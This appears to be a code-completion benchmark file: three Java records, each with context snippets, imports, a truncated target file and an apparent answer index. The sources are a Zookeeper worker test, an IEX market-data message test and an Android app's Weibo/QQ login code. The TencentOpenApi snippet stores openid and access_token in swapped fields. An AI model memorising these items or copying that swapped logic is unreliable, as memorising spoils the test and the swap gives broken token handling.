[ "public interface ZookeeperConfig {\n @Config(\"benchpress.zookeeper.client.connection-string\")\n @Default(\"127.0.0.1:2281\")\n String getConnectionString();\n\n @Config(\"benchpress.zookeeper.path\")\n @Default(\"/benchpress\")\n String getBasePath();\n\n @Config(\"benchpress.zookeeper.worker.servicename\")\n @Default(\"worker\")\n String getWorkerServiceName();\n}", "public class InstanceSerializerFactory {\n\n private final ObjectReader objectReader;\n private final ObjectWriter objectWriter;\n\n InstanceSerializerFactory(ObjectReader objectReader, ObjectWriter objectWriter) {\n this.objectReader = objectReader;\n this.objectWriter = objectWriter;\n }\n\n public <T> InstanceSerializer<T> getInstanceSerializer(TypeReference<ServiceInstance<T>> typeReference) {\n return new JacksonInstanceSerializer<>(objectReader, objectWriter, typeReference);\n }\n}", "public final class IpcJsonModule extends AbstractModule {\n @Override\n protected void configure() {\n ObjectMapper objectMapper = new ObjectMapper();\n objectMapper.registerModule(new JavaTimeModule());\n objectMapper.registerModule(new KotlinModule());\n\n SerializationConfig config = objectMapper.getSerializationConfig()\n .withoutFeatures(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS);\n objectMapper.setConfig(config);\n\n bind(ObjectReader.class).annotatedWith(Ipc.class).toInstance(objectMapper.reader());\n bind(ObjectWriter.class).annotatedWith(Ipc.class).toInstance(objectMapper.writer());\n // have to have ObjectMapper for Jersey integration\n bind(ObjectMapper.class).annotatedWith(Ipc.class).toInstance(objectMapper);\n }\n}", "public final class TaskPluginRegistryModule extends AbstractModule {\n @Override\n protected void configure() {\n bind(JobTypePluginRegistry.class);\n // provide a (possibly empty) set of bindings\n Multibinder.newSetBinder(binder(), JobTypePlugin.class);\n }\n}", "public final class NoOpTaskProgressClient implements TaskProgressClient {\n @Override\n public void reportFinished(UUID jobId, int sliceId, Duration duration, String url) {\n // no op\n }\n\n @Override\n public void reportProgress(UUID jobId, int sliceId, JsonNode data, String url) {\n // no op\n }\n}", "@ThreadSafe\npublic interface TaskProgressClient {\n /**\n * Indicates that all threads for the task have completed\n */\n void reportFinished(UUID jobId, int sliceId, Duration duration, String url);\n\n void reportProgress(UUID jobId, int sliceId, JsonNode data, String url);\n}", "public final class CuratorModule extends AbstractModule {\n\n @Override\n protected void configure() {\n ConfigModule.bindConfigBean(binder(), ZookeeperConfig.class);\n bind(CuratorLifecycleHook.class);\n\n ObjectMapper objectMapper = new ObjectMapper();\n bind(InstanceSerializerFactory.class)\n .toInstance(new InstanceSerializerFactory(objectMapper.reader(), objectMapper.writer()));\n }\n\n @Provides\n @Singleton\n public CuratorFramework getCuratorFramework(ZookeeperConfig zookeeperConfig) {\n return CuratorFrameworkFactory.builder()\n .connectionTimeoutMs(1000)\n .retryPolicy(new ExponentialBackoffRetry(1000, 10))\n .connectString(zookeeperConfig.getConnectionString())\n .build();\n }\n\n @Provides\n @Singleton\n public ServiceDiscovery<WorkerMetadata> getServiceDiscovery(ZookeeperConfig zookeeperConfig,\n CuratorFramework curatorFramework, InstanceSerializerFactory instanceSerializerFactory) {\n return ServiceDiscoveryBuilder.builder(WorkerMetadata.class)\n .basePath(zookeeperConfig.getBasePath())\n .client(curatorFramework)\n .serializer(instanceSerializerFactory\n .getInstanceSerializer(new TypeReference<ServiceInstance<WorkerMetadata>>() {}))\n .build();\n }\n\n @Provides\n @Singleton\n public ServiceProvider<WorkerMetadata> getServiceProvider(ServiceDiscovery<WorkerMetadata> serviceDiscovery,\n ZookeeperConfig zookeeperConfig) {\n return serviceDiscovery.serviceProviderBuilder()\n .serviceName(zookeeperConfig.getWorkerServiceName())\n .build();\n }\n\n /**\n * Encapsulates Curator startup.\n */\n @Singleton\n public static class CuratorLifecycleHook implements AutoCloseable {\n\n private final CuratorFramework curatorFramework;\n private final ServiceDiscovery<WorkerMetadata> serviceDiscovery;\n private final ServiceProvider<WorkerMetadata> serviceProvider;\n\n @Inject\n CuratorLifecycleHook(CuratorFramework curatorFramework, ServiceDiscovery<WorkerMetadata> serviceDiscovery,\n ServiceProvider<WorkerMetadata> serviceProvider) {\n this.curatorFramework = curatorFramework;\n this.serviceDiscovery = serviceDiscovery;\n this.serviceProvider = serviceProvider;\n }\n\n /**\n * Start up the curator instance and service discovery system.\n *\n * @throws Exception because Curator throws Exception\n */\n public void start() throws Exception {\n curatorFramework.start();\n serviceDiscovery.start();\n serviceProvider.start();\n }\n\n @Override\n public void close() throws IOException {\n serviceProvider.close();\n serviceDiscovery.close();\n curatorFramework.close();\n }\n }\n}" ]
import com.fasterxml.jackson.core.type.TypeReference; import com.google.common.io.Closeables; import com.google.inject.AbstractModule; import com.google.inject.Guice; import com.google.inject.Inject; import com.google.inject.Injector; import com.palominolabs.benchpress.config.ZookeeperConfig; import com.palominolabs.benchpress.curator.InstanceSerializerFactory; import com.palominolabs.benchpress.ipc.IpcJsonModule; import com.palominolabs.benchpress.job.task.TaskPluginRegistryModule; import com.palominolabs.benchpress.task.reporting.NoOpTaskProgressClient; import com.palominolabs.benchpress.task.reporting.TaskProgressClient; import com.palominolabs.benchpress.curator.CuratorModule; import java.util.Collection; import org.apache.curator.framework.CuratorFramework; import org.apache.curator.test.TestingServer; import org.apache.curator.x.discovery.ServiceDiscovery; import org.apache.curator.x.discovery.ServiceDiscoveryBuilder; import org.apache.curator.x.discovery.ServiceInstance; import org.junit.After; import org.junit.Before; import org.junit.Test; import static org.junit.Assert.assertEquals;
package com.palominolabs.benchpress.worker; public final class WorkerAdvertiserTest { @Inject private WorkerAdvertiser workerAdvertiser; @Inject private ZookeeperConfig zookeeperConfig; @Inject private CuratorFramework curatorFramework; @Inject private CuratorModule.CuratorLifecycleHook curatorLifecycleHook; private TestingServer testingServer; private ServiceDiscovery<WorkerMetadata> serviceDiscovery; @Before public void setUp() throws Exception { testingServer = new TestingServer(); Injector injector = Guice.createInjector(new AbstractModule() { @Override protected void configure() { binder().requireExplicitBindings(); install(new TestConfigModule(testingServer.getPort())); bind(WorkerAdvertiser.class); install(new CuratorModule()); bind(SliceRunner.class); bind(TaskProgressClient.class).to(NoOpTaskProgressClient.class); install(new TaskPluginRegistryModule()); install(new IpcJsonModule()); } }); injector.injectMembers(this); curatorLifecycleHook.start(); // TODO make ZookeeperConfig not use config-magic so we don't duplicate ServiceDiscovery setup serviceDiscovery = ServiceDiscoveryBuilder.builder(WorkerMetadata.class) .basePath(zookeeperConfig.getBasePath()) .client(curatorFramework)
.serializer(injector.getInstance(InstanceSerializerFactory.class)
1
WojciechZankowski/iextrading4j-hist
iextrading4j-hist-api/src/test/java/pl/zankowski/iextrading4j/hist/api/message/administrative/IEXSecurityDirectoryMessageTest.java
[ "public enum IEXMessageType implements IEXByteEnum {\n\n QUOTE_UPDATE((byte) 0x51),\n TRADE_REPORT((byte) 0x54),\n TRADE_BREAK((byte) 0x42),\n SYSTEM_EVENT((byte) 0x53),\n SECURITY_DIRECTORY((byte) 0x44),\n TRADING_STATUS((byte) 0x48),\n OPERATIONAL_HALT_STATUS((byte) 0x4f),\n SHORT_SALE_PRICE_TEST_STATUS((byte) 0x50),\n SECURITY_EVENT((byte) 0x45),\n PRICE_LEVEL_UPDATE_BUY((byte) 0x38),\n PRICE_LEVEL_UPDATE_SELL((byte) 0x35),\n OFFICIAL_PRICE_MESSAGE((byte) 0x58),\n AUCTION_INFORMATION((byte) 0x41),\n RETAIL_LIQUIDITY_INDICATOR((byte) 0x49);\n\n private static final Map<Byte, IEXMessageType> LOOKUP = new HashMap<>();\n\n static {\n for (final IEXMessageType value : EnumSet.allOf(IEXMessageType.class))\n LOOKUP.put(value.getCode(), value);\n }\n\n private final byte code;\n\n IEXMessageType(final byte code) {\n this.code = code;\n }\n\n public static IEXMessageType getMessageType(final byte code) {\n return lookup(IEXMessageType.class, LOOKUP, code);\n }\n\n @Override\n public byte getCode() {\n return code;\n }\n\n}", "public class IEXPrice implements Comparable<IEXPrice>, Serializable {\n\n private static final int SCALE = 4;\n\n private final long number;\n\n public IEXPrice(final long number) {\n this.number = number;\n }\n\n public long getNumber() {\n return number;\n }\n\n public BigDecimal toBigDecimal() {\n return BigDecimal.valueOf(number)\n .scaleByPowerOfTen(-SCALE);\n }\n\n @Override\n public int compareTo(final IEXPrice iexPrice) {\n return compare(this.getNumber(), iexPrice.getNumber());\n }\n\n @Override\n public boolean equals(Object o) {\n if (this == o) return true;\n if (o == null || getClass() != o.getClass()) return false;\n IEXPrice iexPrice = (IEXPrice) o;\n return number == iexPrice.number;\n }\n\n @Override\n public int hashCode() {\n return Objects.hashCode(number);\n }\n\n @Override\n public String toString() {\n return toBigDecimal()\n .toString();\n }\n}", "public enum IEXLULDTier implements IEXByteEnum {\n\n NOT_APPLICABLE((byte) 0x0),\n TIER_1_NMS((byte) 0x1),\n TIER_2_NMS((byte) 0x2);\n\n private static final Map<Byte, IEXLULDTier> LOOKUP = new HashMap<>();\n\n static {\n for (final IEXLULDTier value : EnumSet.allOf(IEXLULDTier.class))\n LOOKUP.put(value.getCode(), value);\n }\n\n private final byte code;\n\n IEXLULDTier(final byte code) {\n this.code = code;\n }\n\n public static IEXLULDTier getLULDTier(final byte code) {\n return lookup(IEXLULDTier.class, LOOKUP, code);\n }\n\n @Override\n public byte getCode() {\n return code;\n }\n}", "public class IEXByteTestUtil {\n\n static byte[] convert(final long value) {\n final ByteBuffer buffer = ByteBuffer.allocate(8);\n buffer.order(ByteOrder.LITTLE_ENDIAN);\n buffer.putLong(value);\n return buffer.array();\n }\n\n public static byte[] convert(final short value) {\n final ByteBuffer buffer = ByteBuffer.allocate(2);\n buffer.order(ByteOrder.LITTLE_ENDIAN);\n buffer.putShort(value);\n return buffer.array();\n }\n\n static byte[] convert(final int value) {\n final ByteBuffer buffer = ByteBuffer.allocate(4);\n buffer.order(ByteOrder.LITTLE_ENDIAN);\n buffer.putInt(value);\n return buffer.array();\n }\n\n static byte[] convert(final String value) {\n return convert(value, 8);\n }\n\n public static byte[] convert(final String value, final int capacity) {\n final ByteBuffer buffer = ByteBuffer.allocate(capacity);\n buffer.order(ByteOrder.LITTLE_ENDIAN);\n buffer.put(value.getBytes());\n return buffer.array();\n }\n\n public static byte[] convertUnsignedShort(final int value) {\n final ByteBuffer buffer = ByteBuffer.allocate(2);\n buffer.order(ByteOrder.LITTLE_ENDIAN);\n buffer.putShort((short) value);\n return buffer.array();\n }\n\n public static byte[] prepareBytes(final int capacity, final Object... objects) {\n final ByteBuffer byteBuffer = ByteBuffer.allocate(capacity);\n byteBuffer.order(ByteOrder.LITTLE_ENDIAN);\n for (final Object object : objects) {\n if (object instanceof Long) {\n byteBuffer.put(convert((Long) object));\n } else if (object instanceof Short) {\n byteBuffer.put(convert((Short) object));\n } else if (object instanceof Integer) {\n byteBuffer.put(convert((Integer) object));\n } else if (object instanceof String) {\n byteBuffer.put(convert((String) object));\n } else if (object instanceof IEXByteEnum) {\n byteBuffer.put(((IEXByteEnum) object).getCode());\n } else if (object instanceof IEXPrice) {\n byteBuffer.put(convert(((IEXPrice) object).getNumber()));\n } else if (object instanceof byte[]) {\n byteBuffer.put((byte[]) object);\n } else {\n byteBuffer.put((Byte) object);\n }\n }\n return byteBuffer.array();\n }\n\n\n}", "public static IEXSecurityDirectoryMessage defaultDirectoryMessage() {\n return directoryMessage().build();\n}" ]
import nl.jqno.equalsverifier.EqualsVerifier; import org.junit.jupiter.api.Test; import pl.zankowski.iextrading4j.api.util.ToStringVerifier; import pl.zankowski.iextrading4j.hist.api.IEXMessageType; import pl.zankowski.iextrading4j.hist.api.field.IEXPrice; import pl.zankowski.iextrading4j.hist.api.message.administrative.field.IEXLULDTier; import pl.zankowski.iextrading4j.hist.api.util.IEXByteTestUtil; import static org.assertj.core.api.Assertions.assertThat; import static pl.zankowski.iextrading4j.hist.api.message.administrative.builder.IEXSecurityDirectoryMessageDataBuilder.defaultDirectoryMessage;
package pl.zankowski.iextrading4j.hist.api.message.administrative; class IEXSecurityDirectoryMessageTest { @Test void constructor() { final byte securityDirectoryFlag = (byte) -64; final long timestamp = 1494855059287436131L; final String symbol = "SNAP"; final int roundLotSize = 10; final IEXPrice adjustedPOCPrice = new IEXPrice(1234L);
final IEXLULDTier luldTier = IEXLULDTier.TIER_1_NMS;
2
9miao/CartoonHouse
DMZJ/proj.android/src/com/dmzj/manhua/HelloCpp.java
[ "public class AccessTokenKeeper {\n private static final String PREFERENCES_NAME = \"com_weibo_sdk_android\";\n\n private static final String KEY_UID = \"uid\";\n private static final String KEY_ACCESS_TOKEN = \"access_token\";\n private static final String KEY_EXPIRES_IN = \"expires_in\";\n \n /**\n * 保存 Token 对象到 SharedPreferences。\n * \n * @param context 应用程序上下文环境\n * @param token Token 对象\n */\n public static void writeAccessToken(Context context, Oauth2AccessToken token) {\n if (null == context || null == token) {\n return;\n }\n \n SharedPreferences pref = context.getSharedPreferences(PREFERENCES_NAME, Context.MODE_APPEND);\n Editor editor = pref.edit();\n editor.putString(KEY_UID, token.getUid());\n editor.putString(KEY_ACCESS_TOKEN, token.getToken());\n editor.putLong(KEY_EXPIRES_IN, token.getExpiresTime());\n editor.commit();\n }\n\n /**\n * 从 SharedPreferences 读取 Token 信息。\n * \n * @param context 应用程序上下文环境\n * \n * @return 返回 Token 对象\n */\n public static Oauth2AccessToken readAccessToken(Context context) {\n if (null == context) {\n return null;\n }\n \n Oauth2AccessToken token = new Oauth2AccessToken();\n SharedPreferences pref = context.getSharedPreferences(PREFERENCES_NAME, Context.MODE_APPEND);\n token.setUid(pref.getString(KEY_UID, \"\"));\n token.setToken(pref.getString(KEY_ACCESS_TOKEN, \"\"));\n token.setExpiresTime(pref.getLong(KEY_EXPIRES_IN, 0));\n return token;\n }\n\n /**\n * 清空 SharedPreferences 中 Token信息。\n * \n * @param context 应用程序上下文环境\n */\n public static void clear(Context context) {\n if (null == context) {\n return;\n }\n \n SharedPreferences pref = context.getSharedPreferences(PREFERENCES_NAME, Context.MODE_APPEND);\n Editor editor = pref.edit();\n editor.clear();\n editor.commit();\n }\n}", "public class OpenApiHelper {\n\t\n\tprivate static final String TAG = \"OpenApiHelper\";\n\t\n\t/** QQ平台 */\n\tpublic static final int PLAT_QQ = 0x1;\n\t/** 新浪平台 */\n\tpublic static final int PLAT_SINA = 0x2;\n\t\n\tpublic static final int MSG_WHAT_PLAT_QQ = 0x10;\n\t\n\tpublic static final int MSG_WHAT_PLAT_SINA = 0x11;\n\t\n\tprivate static HelloCpp mActivity;\n\t\n\tpublic OpenApiHelper(HelloCpp mActivity) {\n\t\tthis.mActivity = mActivity;\n\t}\n\t\n\t/**\n\t * native 调用此方法发出登陆请求\n\t * @param platform\n\t */\n\tpublic static void onLogin(int platform){\n\t\tswitch (platform) {\n\t\tcase PLAT_QQ:\n\t\t\tmActivity.getmDefaultHandler().sendEmptyMessage(MSG_WHAT_PLAT_QQ);\n\t\t\tbreak;\n\t\tcase PLAT_SINA:\n\t\t\tmActivity.getmDefaultHandler().sendEmptyMessage(MSG_WHAT_PLAT_SINA);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t}\n\t\n\t\n\tpublic native static void onTokenReturn(int plat , String token ,String uid);\n\t\n\t\n}", "public class SinaOpenApi {\n\t\n\tprivate HelloCpp mContext;\n\t\n\tpublic static final int MSG_WHAT_SINATOKEN= 0x31;\n\t\n\tpublic SinaOpenApi(HelloCpp mContext) {\n\t\tthis.mContext = mContext;\n\t}\n\t\n\tprivate SsoHandler mSsoHandler;\n\t\n\tprivate AuthListener mAuthListener;\n\t\n\tpublic void getAccessToken(){\n\t\t// 创建授权认证信息\n AuthInfo authInfo = new AuthInfo(mContext, Constants.APP_KEY, Constants.REDIRECT_URL, Constants.SCOPE);\n mAuthListener = new AuthListener();\n WeiboAuth weiboAuth = new WeiboAuth(mContext, authInfo);\n mSsoHandler = new SsoHandler((Activity)mContext, weiboAuth);\n mSsoHandler.authorize(mAuthListener);\n\t}\n\t\n\t/**\n * 登入按钮的监听器,接收授权结果。\n */\n private class AuthListener implements WeiboAuthListener {\n private static final String TAG = \"AuthListener\";\n\n\t\t@Override\n public void onComplete(Bundle values) {\n\t\t\tLog.d(TAG, \"认证成功,还没把token持久化。。。\");\n Oauth2AccessToken accessToken = Oauth2AccessToken.parseAccessToken(values);\n if (accessToken != null && accessToken.isSessionValid()) {\n AccessTokenKeeper.writeAccessToken(mContext, accessToken);\n }\n mContext.getmDefaultHandler().sendEmptyMessage(MSG_WHAT_SINATOKEN);\n Log.d(TAG, \"认证成功。。。\");\n }\n\n @Override\n public void onWeiboException(WeiboException e) {\n \tLog.d(TAG, \"认证失败。。。\"+ e.toString());\n }\n \n @Override\n public void onCancel() {\n \tLog.d(TAG, \"认证取消。。。\");\n }\n }\n\n\n\n\n\tpublic SsoHandler getmSsoHandler() {\n\t\treturn mSsoHandler;\n\t}\n\n\n\tpublic void setmSsoHandler(SsoHandler mSsoHandler) {\n\t\tthis.mSsoHandler = mSsoHandler;\n\t}\n\t\n}", "public class TencentOpenApi {\n\t\n\tprivate static final String TAG = \"TencentOpenApi\";\n\t\n\tprivate Tencent mTencent;\n\t\n\tprivate HelloCpp mContext;\n\t\n\tpublic static final int MSG_WHAT_QQTOKEN = 0x21;\n\t\n\tpublic TencentOpenApi(HelloCpp mContext) {\n\t\tthis.mContext = mContext;\n\t}\n\t\n\tpublic void getAccessToken(){\n\t\tlogin();\n\t}\n\t\n\tpublic void onActivityResult(int requestCode, int resultCode, Intent data){\n\t\tmTencent.onActivityResult(requestCode, resultCode, data);\n\t}\n\t\n\tprivate class BaseUiListener implements IUiListener {\n\t\t\n\t\tprotected void doComplete(Object response) {\n\t\t\tif (null == response) {\n Log.d(TAG,\"返回为空\");\n return;\n }\n JSONObject jsonResponse = (JSONObject) response;\n if (null != jsonResponse && jsonResponse.length() == 0) {\n Log.d(TAG,\"登录失败\");\n return;\n }\n \n Oauth2Access4Tencent bean = new AccessTokenKeeper4Tencent.Oauth2Access4Tencent();\n bean.setPfkey(jsonResponse.optString(\"pfkey\"));\n bean.setAccess_token(jsonResponse.optString(\"openid\"));\n bean.setOpenid(jsonResponse.optString(\"access_token\"));\n AccessTokenKeeper4Tencent.writeAccessToken(mContext, bean);\n \n mContext.getmDefaultHandler().sendEmptyMessage(MSG_WHAT_QQTOKEN);\n\n \n//\t\t\t{\n//\t\t\t\t\"ret\":0,\n//\t\t\t\t\"pay_token\":\"xxxxxxxxxxxxxxxx\",\n//\t\t\t\t\"pf\":\"openmobile_android\",\n//\t\t\t\t\"expires_in\":\"7776000\",\n//\t\t\t\t\"openid\":\"xxxxxxxxxxxxxxxxxxx\",\n//\t\t\t\t\"pfkey\":\"xxxxxxxxxxxxxxxxxxx\",\n//\t\t\t\t\"msg\":\"sucess\",\n//\t\t\t\t\"access_token\":\"xxxxxxxxxxxxxxxxxxxxx\"\n//\t\t\t}\n\t\t}\n\n\t\t@Override\n\t\tpublic void onError(UiError e) {\n\t\t\tLog.d(TAG,\"onError(UiError e)\");\n\t\t}\n\n\t\t@Override\n\t\tpublic void onCancel() {\n\t\t\tLog.d(TAG,\" onCancel()\");\n\t\t}\n\n\t\t@Override\n\t\tpublic void onComplete(Object response) {\n\t\t\tdoComplete((JSONObject)response);\n\t\t}\n\t}\n\t\n\tpublic void login()\n\t{\n\t\tBaseUiListener mBaseUiListener = new BaseUiListener();\n\t\tmTencent = Tencent.createInstance(\"101131188\", mContext);\n\t\tif (!mTencent.isSessionValid())\n\t\t{\n\t\t\tmTencent.login(mContext, \"all\", mBaseUiListener);\n\t\t}\n\t}\n\t\n\t\n\tpublic void getUserInfo(){\n\t\tUserInfo mInfo = new UserInfo(mContext, mTencent.getQQToken());\n\t\tmInfo.getUserInfo(new UserInfoUiListener());\n\t}\n\t\n\t\n\tprivate class UserInfoUiListener implements IUiListener {\n\t\t\n\t\tprotected void doComplete(Object response) {\n\t\t\tif (null == response) {\n Log.d(TAG,\"返回为空\");\n return;\n }\n JSONObject jsonResponse = (JSONObject) response;\n if (null != jsonResponse && jsonResponse.length() == 0) {\n Log.d(TAG,\"获取失败\");\n return;\n }\n \n Log.d(TAG, \"用户信息:\"+jsonResponse.toString());\n \n /**\n {\n \t \"is_yellow_year_vip\": \"0\",\n \t \"ret\": 0,\n \t \"figureurl_qq_1\": \"http://q.qlogo.cn/qqapp/101131188/06C68144C8C23302154EB63C3BFFFBFA/40\",\n \t \"figureurl_qq_2\": \"http://q.qlogo.cn/qqapp/101131188/06C68144C8C23302154EB63C3BFFFBFA/100\",\n \t \"nickname\": \"动漫之家\",\n \t \"yellow_vip_level\": \"0\",\n \t \"is_lost\": 0,\n \t \"msg\": \"\",\n \t \"city\": \"朝阳\",\n \t \"figureurl_1\": \"http://qzapp.qlogo.cn/qzapp/101131188/06C68144C8C23302154EB63C3BFFFBFA/50\",\n \t \"vip\": \"0\",\n \t \"level\": \"0\",\n \t \"figureurl_2\": \"http://qzapp.qlogo.cn/qzapp/101131188/06C68144C8C23302154EB63C3BFFFBFA/100\",\n \t \"province\": \"北京\",\n \t \"is_yellow_vip\": \"0\",\n \t \"gender\": \"男\",\n \t \"figureurl\": \"http://qzapp.qlogo.cn/qzapp/101131188/06C68144C8C23302154EB63C3BFFFBFA/30\"\n \t}\n **/\n\t\t}\n\n\t\t@Override\n\t\tpublic void onError(UiError e) {\n\t\t\tLog.d(TAG,\"onError(UiError e)\");\n\t\t}\n\n\t\t@Override\n\t\tpublic void onCancel() {\n\t\t\tLog.d(TAG,\" onCancel()\");\n\t\t}\n\n\t\t@Override\n\t\tpublic void onComplete(Object response) {\n\t\t\tdoComplete((JSONObject)response);\n\t\t}\n\t}\n\t\n\t\n\n\tpublic Tencent getmTencent() {\n\t\treturn mTencent;\n\t}\n\n\tpublic void setmTencent(Tencent mTencent) {\n\t\tthis.mTencent = mTencent;\n\t}\n\t\n}", "public class MessagePushTool {\n\t\n\tpublic static native void onMessageObtain(Context context, String title, \n\t\t\tString description, String customContentString);\n\t\n\tpublic static native void onBaiduBind(String appid,String userId, String \n\t\t\tchannelId, String requestId);\n\t\n}", "public class Utils {\n\tpublic static final String TAG = \"PushDemoActivity\";\n\tpublic static final String RESPONSE_METHOD = \"method\";\n\tpublic static final String RESPONSE_CONTENT = \"content\";\n\tpublic static final String RESPONSE_ERRCODE = \"errcode\";\n\tprotected static final String ACTION_LOGIN = \"com.baidu.pushdemo.action.LOGIN\";\n\tpublic static final String ACTION_MESSAGE = \"com.baiud.pushdemo.action.MESSAGE\";\n\tpublic static final String ACTION_RESPONSE = \"bccsclient.action.RESPONSE\";\n\tpublic static final String ACTION_SHOW_MESSAGE = \"bccsclient.action.SHOW_MESSAGE\";\n\tprotected static final String EXTRA_ACCESS_TOKEN = \"access_token\";\n\tpublic static final String EXTRA_MESSAGE = \"message\";\n\t\n\tpublic static String logStringCache = \"\";\n\t\n\t// 获取ApiKey\n public static String getMetaValue(Context context, String metaKey) {\n Bundle metaData = null;\n String apiKey = null;\n if (context == null || metaKey == null) {\n \treturn null;\n }\n try {\n ApplicationInfo ai = context.getPackageManager().getApplicationInfo(\n context.getPackageName(), PackageManager.GET_META_DATA);\n if (null != ai) {\n metaData = ai.metaData;\n }\n if (null != metaData) {\n \tapiKey = metaData.getString(metaKey);\n }\n } catch (NameNotFoundException e) {\n\n }\n return apiKey;\n }\n\n // 用share preference来实现是否绑定的开关。在ionBind且成功时设置true,unBind且成功时设置false\n public static boolean hasBind(Context context) {\n \tSharedPreferences sp = PreferenceManager\n\t\t\t\t.getDefaultSharedPreferences(context);\n\t\tString flag = sp.getString(\"bind_flag\", \"\");\n\t\tif (\"ok\".equalsIgnoreCase(flag)) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n }\n \n public static void setBind(Context context, boolean flag) {\n \tString flagStr = \"not\";\n \tif (flag) {\n \t\tflagStr = \"ok\";\n \t}\n \tSharedPreferences sp = PreferenceManager\n\t\t\t\t.getDefaultSharedPreferences(context);\n\t\tEditor editor = sp.edit();\n\t\teditor.putString(\"bind_flag\", flagStr);\n\t\teditor.commit();\n }\n \n\tpublic static List<String> getTagsList(String originalText) {\n\t\tif (originalText == null || originalText.equals(\"\")) {\n\t\t\treturn null;\n\t\t}\n\t\tList<String> tags = new ArrayList<String>();\n\t\tint indexOfComma = originalText.indexOf(',');\n\t\tString tag;\n\t\twhile (indexOfComma != -1) {\n\t\t\ttag = originalText.substring(0, indexOfComma);\n\t\t\ttags.add(tag);\n\n\t\t\toriginalText = originalText.substring(indexOfComma + 1);\n\t\t\tindexOfComma = originalText.indexOf(',');\n\t\t}\n\n\t\ttags.add(originalText);\n\t\treturn tags;\n\t}\n\n\tpublic static String getLogText(Context context) {\n\t\tSharedPreferences sp = PreferenceManager\n\t\t\t\t.getDefaultSharedPreferences(context);\n\t\treturn sp.getString(\"log_text\", \"\");\n\t}\n\t\n\tpublic static void setLogText(Context context, String text) {\n\t\tSharedPreferences sp = PreferenceManager\n\t\t\t\t.getDefaultSharedPreferences(context);\n\t\tEditor editor = sp.edit();\n\t\teditor.putString(\"log_text\", text);\n\t\teditor.commit();\n\t}\n\t\n}", "@SuppressWarnings(\"deprecation\")\npublic class WebViewCtrl {\n\n\tprivate final String Tag = \"WebViewCtrl\";\n\tprivate WebView webView = null;\n\tprivate static AbsoluteLayout layout = null;\n\tprivate static Activity context;\n\tprivate static WebViewCtrl instance = null;\n\n\tpublic WebViewCtrl() {\n\t}\n\n\tpublic static WebViewCtrl getInstance() {\n\t\tif (instance == null)\n\t\t\tinstance = new WebViewCtrl();\n\t\treturn instance;\n\t}\n\n\tpublic static void init(Activity activity) {\n\t\tWebViewCtrl.context = activity;\n\t\tlayout = new AbsoluteLayout(context);\n\n\t\tDisplayMetrics metrics = new DisplayMetrics();\n\t\tcontext.getWindowManager().getDefaultDisplay().getMetrics(metrics);\n\t\tint width = metrics.widthPixels;\n\t\tint height = metrics.heightPixels;\n\t\tint margin = 0;\n\t\tif ((float) width / height > 2.0 / 3.0) {\n\t\t\t// 左右留边\n\t\t\tmargin = (int) ((width - ((2.0 * height) / 3.0)) / 2.0);\n\t\t\tlayout.setPadding(margin, 0, margin, 0);\n\t\t} else if ((float) width / height < 2.0 / 3.0) {\n\t\t\t// 上下留边\n\t\t\tmargin = (int) ((height - ((3.0 * width) / 2.0)) / 2.0);\n\t\t\tlayout.setPadding(0, margin, 0, margin);\n\t\t}\n\n\t\tcontext.addContentView(layout, new LayoutParams(\n\t\t\t\tLayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT));\n\t}\n\n\t// 显示webView\n\tprivate void initWebView() {\n\t\ttry {\n\t\t\tif (webView != null) {\n\t\t\t\tlayout.removeView(webView);\n\t\t\t\twebView = null;\n\t\t\t}\n\t\t\t// 初始化webView\n\t\t\twebView = new WebView(context);\n\t\t\t// 设置webView能够执行javascript脚本\n\t\t\twebView.getSettings().setJavaScriptEnabled(true);\n\t\t\twebView.setScrollBarStyle(0);\n\t\t\twebView.setHorizontalScrollBarEnabled(false);\n\t\t\twebView.setVerticalScrollBarEnabled(false);\n\t\t\t// 设置可以支持缩放\n\t\t\t// webView.getSettings().setSupportZoom(true);\n\t\t\t// 设置出现缩放工具\n\t\t\t// webView.getSettings().setBuiltInZoomControls(true);\n\t\t\t// webView.setLayerType(View.LAYER_TYPE_SOFTWARE, null);\n\n\t\t\twebView.getSettings().setSupportZoom(false);\n\n\t\t\tif (Build.VERSION.SDK_INT >= 11) {\n\t\t\t\twebViewBgTransFix(webView);\n\t\t\t}\n\n\t\t\twebView.setBackgroundColor(0);\n\t\t\t// 使页面获得焦点\n\t\t\twebView.setFocusable(false);\n\t\t\t// 如果页面中链接,如果希望点击链接继续在当前browser中响应\n\t\t\twebView.setWebViewClient(new WebViewClient() {\n\t\t\t\tpublic boolean shouldOverrideUrlLoading(WebView view, String url) {\n\t\t\t\t\tif (url.indexOf(\"tel:\") < 0) {\n\t\t\t\t\t\tview.loadUrl(url);\n\t\t\t\t\t}\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t});\n\n\t\t\twebView.setOnLongClickListener(new OnLongClickListener() {\n\t\t\t\tpublic boolean onLongClick(View v) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t});\n\t\t\tlayout.addView(webView);\n\t\t} catch (Exception e) {\n\t\t\tLog.d(Tag, \"initWebView\", e);\n\t\t}\n\t}\n\n\t@TargetApi(11)\n\tprivate void webViewBgTransFix(WebView webView) {\n\t\twebView.setLayerType(View.LAYER_TYPE_SOFTWARE, null);\n\t}\n\n\tpublic void openWebView(final String url) {\n\t\tif (context == null)\n\t\t\treturn;\n\t\tcontext.runOnUiThread(new Runnable() {\n\t\t\t// 在主线程里添加别的控件\n\t\t\tpublic void run() {\n\t\t\t\ttry {\n\t\t\t\t\tinitWebView();\n\t\t\t\t\t// 载入URL\n\t\t\t\t\tif (webView != null)\n\t\t\t\t\t\twebView.loadUrl(url);\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tLog.d(Tag, \"openWebView\", e);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\n\t// 设置控件所在的位置YY,并且不改变宽高,\n\t// XY为绝对位置\n\tpublic void setWebViewPos(final int x, final int y) {\n\t\tif (context == null)\n\t\t\treturn;\n\t\tcontext.runOnUiThread(new Runnable() {\n\t\t\tpublic void run() {\n\t\t\t\ttry {\n\t\t\t\t\tif (webView == null)\n\t\t\t\t\t\treturn;\n\t\t\t\t\tLayoutParams laParams = (LayoutParams) webView\n\t\t\t\t\t\t\t.getLayoutParams();\n\t\t\t\t\tAbsoluteLayout.LayoutParams newLaParams = new AbsoluteLayout.LayoutParams(\n\t\t\t\t\t\t\tlaParams.width, laParams.height, x, 